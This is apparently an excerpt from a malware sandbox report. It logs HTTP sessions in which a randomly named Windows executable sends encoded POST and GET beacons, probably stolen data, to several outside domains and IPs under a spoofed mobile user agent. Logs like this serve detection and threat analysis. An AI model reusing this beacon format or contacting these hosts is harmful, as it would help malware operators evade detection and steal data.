40	192.168.11.30	49864	13.248.169.48	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:56:42.578635931 CET	540	OUT	GET /kgjj/?6B-l7F=m0PzV+DL9MdhQie9ia/fmr3XBWpQsDf/lotYUX+AhjMoQA7F3K3FjPv8kV/QBw/PdU/OXM/ri/IbrFYG4xypiABwnaSWREGU3uu7ZafkuM6Gl/4SxdxZjgo=&80k=lRapCPMXgDk HTTP/1.1 Host: www.nextlevel.finance Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:56:42.719249010 CET	379	IN	HTTP/1.1 200 OK content-type: text/html date: Thu, 09 Jan 2025 15:56:42 GMT content-length: 258 connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 36 42 2d 6c 37 46 3d 6d 30 50 7a 56 2b 44 4c 39 4d 64 68 51 69 65 39 69 61 2f 66 6d 72 33 58 42 57 70 51 73 44 66 2f 6c 6f 74 59 55 58 2b 41 68 6a 4d 6f 51 41 37 46 33 4b 33 46 6a 50 76 38 6b 56 2f 51 42 77 2f 50 64 55 2f 4f 58 4d 2f 72 69 2f 49 62 72 46 59 47 34 78 79 70 69 41 42 77 6e 61 53 57 52 45 47 55 33 75 75 37 5a 61 66 6b 75 4d 36 47 6c 2f 34 53 78 64 78 5a 6a 67 6f 3d 26 38 30 6b 3d 6c 52 61 70 43 50 4d 58 67 44 6b 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?6B-l7F=m0PzV+DL9MdhQie9ia/fmr3XBWpQsDf/lotYUX+AhjMoQA7F3K3FjPv8kV/QBw/PdU/OXM/ri/IbrFYG4xypiABwnaSWREGU3uu7ZafkuM6Gl/4SxdxZjgo=&80k=lRapCPMXgDk"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.11.30	49865	103.106.67.112	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:56:48.182256937 CET	799	OUT	POST /k29t/ HTTP/1.1 Host: www.furrcali.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 203 Content-Type: application/x-www-form-urlencoded Origin: http://www.furrcali.xyz Referer: http://www.furrcali.xyz/k29t/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 72 4a 6b 59 4f 47 64 56 56 47 33 6e 61 31 75 48 2f 38 50 70 72 50 6b 36 49 7a 6c 42 37 32 78 71 35 53 7a 70 78 31 6b 42 31 4e 75 58 58 52 42 49 7a 78 64 52 31 38 77 6d 67 6a 57 45 48 75 36 4d 73 4f 5a 43 39 6c 41 34 5a 67 56 39 56 31 58 6f 36 52 54 36 54 54 2f 58 51 5a 43 4d 62 2b 2b 41 71 67 50 4e 59 30 75 76 41 41 6f 65 52 75 54 4c 63 50 54 2b 38 61 77 44 4f 63 52 78 59 69 6d 44 54 47 43 6d 77 4a 4e 79 52 53 6a 45 6b 36 78 4f 66 35 44 73 72 6e 6e 79 6a 75 59 4d 36 6f 36 7a 6e 38 78 33 43 4d 4d 30 33 58 34 39 61 5a 43 78 4a 51 52 35 35 5a 66 33 56 66 65 56 74 69 50 65 2f 51 3d 3d Data Ascii: 6B-l7F=rJkYOGdVVG3na1uH/8PprPk6IzlB72xq5Szpx1kB1NuXXRBIzxdR18wmgjWEHu6MsOZC9lA4ZgV9V1Xo6RT6TT/XQZCMb++AqgPNY0uvAAoeRuTLcPT+8awDOcRxYimDTGCmwJNyRSjEk6xOf5DsrnnyjuYM6o6zn8x3CMM03X49aZCxJQR55Zf3VfeVtiPe/Q==
Jan 9, 2025 16:56:48.438275099 CET	242	IN	HTTP/1.1 302 Found Location: https://www.furrcali.xyz/k29t/ Server: Dynamic Http Server X-Ratelimit-Limit: 101 X-Ratelimit-Remaining: 100 X-Ratelimit-Reset: 1 Date: Thu, 09 Jan 2025 15:56:48 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.11.30	49867	103.106.67.112	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:56:50.896884918 CET	819	OUT	POST /k29t/ HTTP/1.1 Host: www.furrcali.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 223 Content-Type: application/x-www-form-urlencoded Origin: http://www.furrcali.xyz Referer: http://www.furrcali.xyz/k29t/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 72 4a 6b 59 4f 47 64 56 56 47 33 6e 61 52 53 48 7a 2f 58 70 75 76 6b 35 52 44 6c 42 79 57 78 75 35 53 2f 70 78 30 51 52 31 37 57 58 58 77 78 49 79 77 64 52 67 38 77 6d 30 7a 58 76 59 2b 36 44 73 4f 56 6b 39 6c 4d 34 5a 67 78 39 56 30 6e 6f 36 69 37 35 51 6a 2f 52 64 35 43 4f 52 65 2b 41 71 67 50 4e 59 30 36 46 41 41 41 65 53 64 37 4c 66 75 54 39 32 36 77 41 48 38 52 78 4b 53 6d 50 54 47 43 59 77 4e 46 63 52 51 72 45 6b 2b 31 4f 66 73 2f 72 77 33 6e 6f 74 4f 5a 6a 2f 70 71 35 6f 49 42 6b 53 64 73 2f 76 32 77 31 66 4f 76 72 55 54 6c 37 71 35 6a 61 4a 65 7a 39 76 67 4f 46 69 56 73 5a 34 7a 58 73 66 58 77 4a 76 4d 62 6b 63 6a 47 69 4b 5a 6b 3d Data Ascii: 6B-l7F=rJkYOGdVVG3naRSHz/Xpuvk5RDlByWxu5S/px0QR17WXXwxIywdRg8wm0zXvY+6DsOVk9lM4Zgx9V0no6i75Qj/Rd5CORe+AqgPNY06FAAAeSd7LfuT926wAH8RxKSmPTGCYwNFcRQrEk+1Ofs/rw3notOZj/pq5oIBkSds/v2w1fOvrUTl7q5jaJez9vgOFiVsZ4zXsfXwJvMbkcjGiKZk=
Jan 9, 2025 16:56:51.152040005 CET	242	IN	HTTP/1.1 302 Found Location: https://www.furrcali.xyz/k29t/ Server: Dynamic Http Server X-Ratelimit-Limit: 101 X-Ratelimit-Remaining: 100 X-Ratelimit-Reset: 1 Date: Thu, 09 Jan 2025 15:56:51 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.11.30	49868	103.106.67.112	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:56:53.626156092 CET	3936	OUT	POST /k29t/ HTTP/1.1 Host: www.furrcali.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 3339 Content-Type: application/x-www-form-urlencoded Origin: http://www.furrcali.xyz Referer: http://www.furrcali.xyz/k29t/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 72 4a 6b 59 4f 47 64 56 56 47 33 6e 61 52 53 48 7a 2f 58 70 75 76 6b 35 52 44 6c 42 79 57 78 75 35 53 2f 70 78 30 51 52 31 37 65 58 57 47 46 49 79 58 4a 52 6d 4d 77 6d 33 7a 57 49 59 2b 36 61 73 4b 35 67 39 6c 52 4e 5a 69 35 39 55 57 76 6f 72 6a 37 35 48 54 2f 52 42 4a 43 4c 62 2b 2b 52 71 6b 54 42 59 30 71 46 41 41 41 65 53 62 48 4c 4a 50 54 39 77 36 77 44 4f 63 52 39 59 69 6d 72 54 47 61 58 77 4e 42 69 52 54 4c 45 6b 4a 70 4f 66 65 58 72 77 33 6e 6f 67 75 5a 6d 2f 70 6d 36 6f 49 35 77 53 63 55 76 76 6e 55 31 66 71 65 4e 49 68 31 65 32 4b 62 42 55 4d 4c 35 6e 44 6a 62 6d 32 70 38 33 43 61 53 57 69 4a 70 71 71 54 73 4c 69 4b 33 51 4d 36 4f 38 4b 4c 6a 61 32 39 73 32 31 43 4e 6e 46 5a 68 48 70 71 31 61 50 65 7a 76 64 52 42 78 41 72 30 71 55 59 2b 6f 4c 59 2f 65 77 42 58 53 65 2b 52 44 76 4b 72 57 46 5a 48 7a 76 41 51 6a 6e 58 52 7a 43 43 75 46 4a 72 7a 53 74 5a 31 56 4e 4a 6b 54 6a 57 66 37 47 64 59 45 6a 7a 49 37 45 37 4c 50 38 36 77 2b 33 73 56 54 44 45 41 4b 51 59 61 69 43 34 [TRUNCATED] Data Ascii: 6B-l7F=rJkYOGdVVG3naRSHz/Xpuvk5RDlByWxu5S/px0QR17eXWGFIyXJRmMwm3zWIY+6asK5g9lRNZi59UWvorj75HT/RBJCLb++RqkTBY0qFAAAeSbHLJPT9w6wDOcR9YimrTGaXwNBiRTLEkJpOfeXrw3noguZm/pm6oI5wScUvvnU1fqeNIh1e2KbBUML5nDjbm2p83CaSWiJpqqTsLiK3QM6O8KLja29s21CNnFZhHpq1aPezvdRBxAr0qUY+oLY/ewBXSe+RDvKrWFZHzvAQjnXRzCCuFJrzStZ1VNJkTjWf7GdYEjzI7E7LP86w+3sVTDEAKQYaiC4Tq6tZBivBZTrbmeBQm+gGpBzQ90RiPNSGDKRIqZ+cnqk2+48geDSjwNK+jIvyJj7xoaoiOO5dz01+c2UOAJN4u9jLiCYhbEzzv26+jaJIjg25wTBRpW3eDSQdU+bxeGwQXg/mob9WxtKoGg5AoIGpJHER5YvOYlqs9OZj2IT+YJL1JukeMT7OLrwBZ294GWeGyYqLqBw4FPGFQZxaWM7iWoBdD9YDy0ei6L+NmG02NByHHO/wpNn5tK7qdZfUBLqIBYMbg1u9npEyyNfrtxB7GZHiw+o2ejAY8NkL0Ay9V+QxvpBcZO+JGWu/qze3TjY61mSNPkc7VVqZuvml/LjcqP/F0IiYMaKiMLm+3Vxunog62rDhNY+qzlJkC6F+m4ioWM2wNHetO1fqYOELHpnCSPMxd78TN/AMqbkufo2Dk/hbZQ0kIF2O50ITPKH73XSPI/NVKSEp4oY/1ZHBpZq8bA38WtQpD996DxnUbZmOh5lb5dEiaYt9SE/R+SXrQ6G/R/XUl7SrVSELo488QdaI9IKSXjY/3oJSFpjCf811S8tZx7OVlUnC9jr9eqc7DdxsBF8SwO/SwKhNdf0XNHPsildTg+Y/s8DicVJBC/zqQWVcA2YHkYElrDoLXjIVij5zEzzciNV46ifhp8kuKEZIWNtf+I2A0ddEe [TRUNCATED]
Jan 9, 2025 16:56:53.880795956 CET	242	IN	HTTP/1.1 302 Found Location: https://www.furrcali.xyz/k29t/ Server: Dynamic Http Server X-Ratelimit-Limit: 101 X-Ratelimit-Remaining: 100 X-Ratelimit-Reset: 1 Date: Thu, 09 Jan 2025 15:56:53 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.11.30	49869	103.106.67.112	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:56:56.329521894 CET	535	OUT	GET /k29t/?6B-l7F=mLM4NyV3Rm7LSF6x/a3vps0uRUV7zEkflC/cwX9Xx9eDQBJ7/gNt59cujgLWGeygpdsHuHQ6ZT1nZEeE6AzqPDDMRo6XGpuD1XHiaXyxOjElLsGmAN2m/Z8=&80k=lRapCPMXgDk HTTP/1.1 Host: www.furrcali.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:56:56.584871054 CET	629	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Location: https://www.furrcali.xyz/k29t/?6B-l7F=mLM4NyV3Rm7LSF6x/a3vps0uRUV7zEkflC/cwX9Xx9eDQBJ7/gNt59cujgLWGeygpdsHuHQ6ZT1nZEeE6AzqPDDMRo6XGpuD1XHiaXyxOjElLsGmAN2m/Z8=&80k=lRapCPMXgDk Server: Dynamic Http Server X-Ratelimit-Limit: 101 X-Ratelimit-Remaining: 100 X-Ratelimit-Reset: 1 Date: Thu, 09 Jan 2025 15:56:56 GMT Content-Length: 201 Connection: close Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 75 72 72 63 61 6c 69 2e 78 79 7a 2f 6b 32 39 74 2f 3f 36 42 2d 6c 37 46 3d 6d 4c 4d 34 4e 79 56 33 52 6d 37 4c 53 46 36 78 2f 61 33 76 70 73 30 75 52 55 56 37 7a 45 6b 66 6c 43 2f 63 77 58 39 58 78 39 65 44 51 42 4a 37 2f 67 4e 74 35 39 63 75 6a 67 4c 57 47 65 79 67 70 64 73 48 75 48 51 36 5a 54 31 6e 5a 45 65 45 36 41 7a 71 50 44 44 4d 52 6f 36 58 47 70 75 44 31 58 48 69 61 58 79 78 4f 6a 45 6c 4c 73 47 6d 41 4e 32 6d 2f 5a 38 3d 26 61 6d 70 3b 38 30 6b 3d 6c 52 61 70 43 50 4d 58 67 44 6b 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://www.furrcali.xyz/k29t/?6B-l7F=mLM4NyV3Rm7LSF6x/a3vps0uRUV7zEkflC/cwX9Xx9eDQBJ7/gNt59cujgLWGeygpdsHuHQ6ZT1nZEeE6AzqPDDMRo6XGpuD1XHiaXyxOjElLsGmAN2m/Z8=&80k=lRapCPMXgDk">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.11.30	49870	104.21.32.1	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:57:01.860265017 CET	811	OUT	POST /w98i/ HTTP/1.1 Host: www.buyspeechst.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 203 Content-Type: application/x-www-form-urlencoded Origin: http://www.buyspeechst.shop Referer: http://www.buyspeechst.shop/w98i/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 5a 64 59 6e 5a 36 2b 57 4c 59 34 59 59 72 52 6d 59 52 45 66 59 6a 55 34 4b 30 33 6e 2f 39 76 62 66 43 6a 35 71 49 6a 4b 6c 4f 46 31 62 7a 75 55 74 67 39 42 7a 7a 46 6b 30 49 7a 48 6b 6b 4f 45 4e 4d 70 2f 31 37 4b 58 4f 42 35 69 65 52 35 51 52 43 32 4a 75 6e 75 37 6e 4c 6f 37 50 67 66 38 64 38 30 73 79 6e 72 61 52 65 2f 49 67 47 64 6b 67 75 57 4c 38 38 71 57 62 70 31 56 4a 70 62 6d 43 43 75 6c 58 6d 6f 6e 48 68 41 63 49 51 53 30 74 32 42 4a 4f 77 6a 56 74 43 50 72 6b 4d 35 64 4a 36 37 4a 2f 2f 74 77 30 39 58 63 72 53 54 2b 75 4a 47 5a 71 76 48 61 35 7a 75 33 38 6c 6d 70 77 77 3d 3d Data Ascii: 6B-l7F=ZdYnZ6+WLY4YYrRmYREfYjU4K03n/9vbfCj5qIjKlOF1bzuUtg9BzzFk0IzHkkOENMp/17KXOB5ieR5QRC2Junu7nLo7Pgf8d80synraRe/IgGdkguWL88qWbp1VJpbmCCulXmonHhAcIQS0t2BJOwjVtCPrkM5dJ67J//tw09XcrST+uJGZqvHa5zu38lmpww==
Jan 9, 2025 16:57:02.222666979 CET	1048	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:57:02 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ro8%2BRdHQnVliNe7E5davoxQTs2cygGkkW9VFtFoOHfMhs8cUYRTOd2FRiLEzR2vOuZFGqLFUprke5iUZuh8pBPwTtJ1JkCtkeZiTDPAal%2FREEjgyvJMsdBNw2BT1GGSyxwzbUJUyWg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff59ee708b262d6-ORD Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=119019&min_rtt=119019&rtt_var=59509&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=811&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 64 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4c 8f c1 6e c2 30 10 44 ef fe 8a 2d 77 b2 01 71 e8 61 65 a9 25 41 45 0a 34 6a cd 81 a3 c1 5b 19 89 c6 c6 de 34 e2 ef ab 04 55 ea 75 e6 cd 68 86 9e aa f7 b5 39 b6 35 bc 99 5d 03 ed e1 b5 d9 ae 61 36 47 dc d6 66 83 58 99 ea e1 2c 8b 12 b1 de cf b4 22 2f df 57 4d 9e ad d3 8a e4 22 57 d6 ab 72 05 fb 20 b0 09 7d e7 08 1f a2 22 9c 20 3a 05 77 1f 73 0b fd 8f f1 0b ad 28 6a e3 19 12 df 7a ce c2 0e 0e 1f 0d 0c 36 43 17 04 be 46 0e 42 07 e2 2f 19 32 a7 1f 4e 05 61 1c 9b 92 56 64 9d 4b 9c b3 7e 89 f6 ec 19 3e 27 00 ac c0 30 0c c5 a9 bf e7 c8 7c f6 59 8a ec 43 84 36 24 81 e7 92 f0 2f a6 08 a7 5d 84 d3 9f 5f 00 00 00 ff ff 0d 0a Data Ascii: d8Ln0D-wqae%AE4j[4Uuh95]a6GfX,"/WM"Wr }" :ws(jz6CFB/2NaVdK~>'0\|YC6$/]_
Jan 9, 2025 16:57:02.222676039 CET	21	IN	Data Raw: 62 0d 0a e3 02 00 2b bb 83 fa 0a 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: b+0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.11.30	49871	104.21.32.1	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:57:04.508842945 CET	831	OUT	POST /w98i/ HTTP/1.1 Host: www.buyspeechst.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 223 Content-Type: application/x-www-form-urlencoded Origin: http://www.buyspeechst.shop Referer: http://www.buyspeechst.shop/w98i/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 5a 64 59 6e 5a 36 2b 57 4c 59 34 59 59 4b 68 6d 61 77 45 66 4e 54 55 35 47 55 33 6e 6c 4e 76 66 66 43 66 35 71 4a 33 61 6d 34 64 31 43 54 65 55 75 6c 4a 42 32 7a 46 6b 6e 49 7a 43 67 6b 4f 54 4e 4d 6b 4b 31 2b 69 58 4f 42 39 69 65 51 4a 51 52 31 61 47 6f 6e 75 35 2f 37 6f 35 4c 67 66 38 64 38 30 73 79 6e 2f 30 52 65 6e 49 68 32 74 6b 69 4c 71 45 6e 63 71 5a 52 4a 31 56 44 4a 62 69 43 43 75 58 58 6b 63 42 48 69 34 63 49 55 43 30 73 6e 42 57 45 77 6a 54 67 69 4f 2b 33 4d 55 57 51 71 66 32 2f 66 34 73 31 4d 66 41 6a 6c 2b 6b 7a 4b 79 62 35 50 37 33 6c 79 44 66 2b 6e 6e 79 74 2b 76 67 57 36 36 6d 59 70 46 79 67 6e 37 63 6c 52 30 57 46 31 73 3d Data Ascii: 6B-l7F=ZdYnZ6+WLY4YYKhmawEfNTU5GU3nlNvffCf5qJ3am4d1CTeUulJB2zFknIzCgkOTNMkK1+iXOB9ieQJQR1aGonu5/7o5Lgf8d80syn/0RenIh2tkiLqEncqZRJ1VDJbiCCuXXkcBHi4cIUC0snBWEwjTgiO+3MUWQqf2/f4s1MfAjl+kzKyb5P73lyDf+nnyt+vgW66mYpFygn7clR0WF1s=
Jan 9, 2025 16:57:04.781955004 CET	854	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:57:04 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WJO2FK9AJGTkAq99G%2Bdjq3Vc6cxrXhB42WFqvbhE%2FKlJ4a8w6zEPZf385%2BNpegU5X6Zhz%2FKLFEvlkcBqWt1L9RF72xBetg%2FLwZFAecHD23i%2BaCY5DCPjOYXo4IUl0pfkGdzzVHw9yg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff59ef79e5810ed-ORD Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=118653&min_rtt=118653&rtt_var=59326&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=831&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 00 00 00 ff ff 0d 0a Data Ascii: f
Jan 9, 2025 16:57:04.781964064 CET	223	IN	Data Raw: 64 39 0d 0a 4c 8f c1 6e c2 30 10 44 ef fe 8a 2d 77 b2 01 71 e8 61 65 a9 25 41 45 0a 34 6a cd 81 a3 c1 5b 19 89 c6 c6 de 34 e2 ef ab 04 55 ea 75 e6 cd 68 86 9e aa f7 b5 39 b6 35 bc 99 5d 03 ed e1 b5 d9 ae 61 36 47 dc d6 66 83 58 99 ea e1 2c 8b 12 Data Ascii: d9Ln0D-wqae%AE4j[4Uuh95]a6GfX,"/WM"Wr }" :ws(jz6CFB/2NaVdK~>'0\|YC6$/]_+
Jan 9, 2025 16:57:04.782109022 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.11.30	49872	104.21.32.1	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:57:07.165983915 CET	3948	OUT	POST /w98i/ HTTP/1.1 Host: www.buyspeechst.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 3339 Content-Type: application/x-www-form-urlencoded Origin: http://www.buyspeechst.shop Referer: http://www.buyspeechst.shop/w98i/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 5a 64 59 6e 5a 36 2b 57 4c 59 34 59 59 4b 68 6d 61 77 45 66 4e 54 55 35 47 55 33 6e 6c 4e 76 66 66 43 66 35 71 4a 33 61 6d 34 56 31 65 77 57 55 73 43 56 42 31 7a 46 6b 38 6f 7a 44 67 6b 50 52 4e 4d 73 52 31 2b 6e 69 4f 44 31 69 4d 6a 52 51 41 52 4f 47 37 48 75 35 6a 4c 6f 38 50 67 66 70 64 36 55 6f 79 6e 76 30 52 65 6e 49 68 30 46 6b 6c 65 57 45 6c 63 71 57 62 70 31 4a 4a 70 61 39 43 47 4b 74 58 6b 49 52 48 68 59 63 4a 6e 36 30 73 52 31 57 45 77 6a 54 71 43 4f 37 33 4d 59 54 51 71 58 69 2f 65 78 52 31 39 37 41 6d 51 54 50 72 75 69 2b 69 2b 4c 4d 74 6d 54 41 31 6c 2f 79 71 63 66 48 66 4d 32 74 5a 5a 56 4e 73 6e 6e 6e 67 44 67 4b 47 6c 63 61 42 66 63 52 70 71 37 58 61 79 6a 31 66 58 69 45 55 48 48 76 6f 61 62 51 75 41 4b 61 39 76 59 42 2b 4e 69 77 7a 75 52 6c 52 53 36 43 33 77 4b 75 7a 6b 65 48 78 53 78 77 2b 54 45 44 4c 39 71 48 7a 50 62 52 4f 38 72 5a 58 53 61 71 51 4b 6c 52 78 41 55 48 2b 43 57 72 69 2f 50 66 52 42 71 6f 62 78 36 47 61 69 79 39 43 36 33 56 32 69 55 51 68 6b 75 [TRUNCATED] Data Ascii: 6B-l7F=ZdYnZ6+WLY4YYKhmawEfNTU5GU3nlNvffCf5qJ3am4V1ewWUsCVB1zFk8ozDgkPRNMsR1+niOD1iMjRQAROG7Hu5jLo8Pgfpd6Uoynv0RenIh0FkleWElcqWbp1JJpa9CGKtXkIRHhYcJn60sR1WEwjTqCO73MYTQqXi/exR197AmQTPrui+i+LMtmTA1l/yqcfHfM2tZZVNsnnngDgKGlcaBfcRpq7Xayj1fXiEUHHvoabQuAKa9vYB+NiwzuRlRS6C3wKuzkeHxSxw+TEDL9qHzPbRO8rZXSaqQKlRxAUH+CWri/PfRBqobx6Gaiy9C63V2iUQhku89kG339qaXLDkw2t+Rk4qwLc54rvtNnDE8YaLT8MdFJ39OMBqGZlJOvJqZwbwB/4ARkmW1KWdM4DDRsKtlk9O1tGm34s1BYbWecsNjSZMjwnLLXPAyrNLHrvLBf4HuH/AJxuynxdEgxlC256NgcctU2CCihVWUMCFykExxkAVQw5aAFFBe+7vxSzjvbgCbJABMhiewL+0DKHZ9A9wT8+yArS0kObTvImygg5gxelZ4h36+WSBFr1HsrJFyrfEbGG432tQoqJApkKtCWUstyvuR2F1KSf3VArK+cxxUc7OhkHszByrbXEEcb4lFAy43eJB/gwMyVb9ocgZX6yKHZBXjfgCS2Qkai2pmU/T/Dy9dF6K2OOrKu5veeLHNuG09Irk8wauQ0gnqAs5l4fMu3caS4LaNFjrn+g3zmMIkUOawDcfkJbutI17kZ1YZqetYw7KpRawK3EVyAM2X0HGq7kgglJ6kHRDSTfvM61MkYivIwPD94zQfNz12Zuar6lPjQYeQpUS5cJUWQ+oPjc5gythif/Qn63jAj5K7ECCex1nm10m8LDbpLMYPqSWgPXk3UkKr6TAkkOVdE9BxwsfBKG+h3HHL40F0XPNjZj1LB7647I2EI92HpgLX/dgpCQR7bzCrCJfLDFiUeDik2cNM+M4nRENMiE5A6y4V [TRUNCATED]
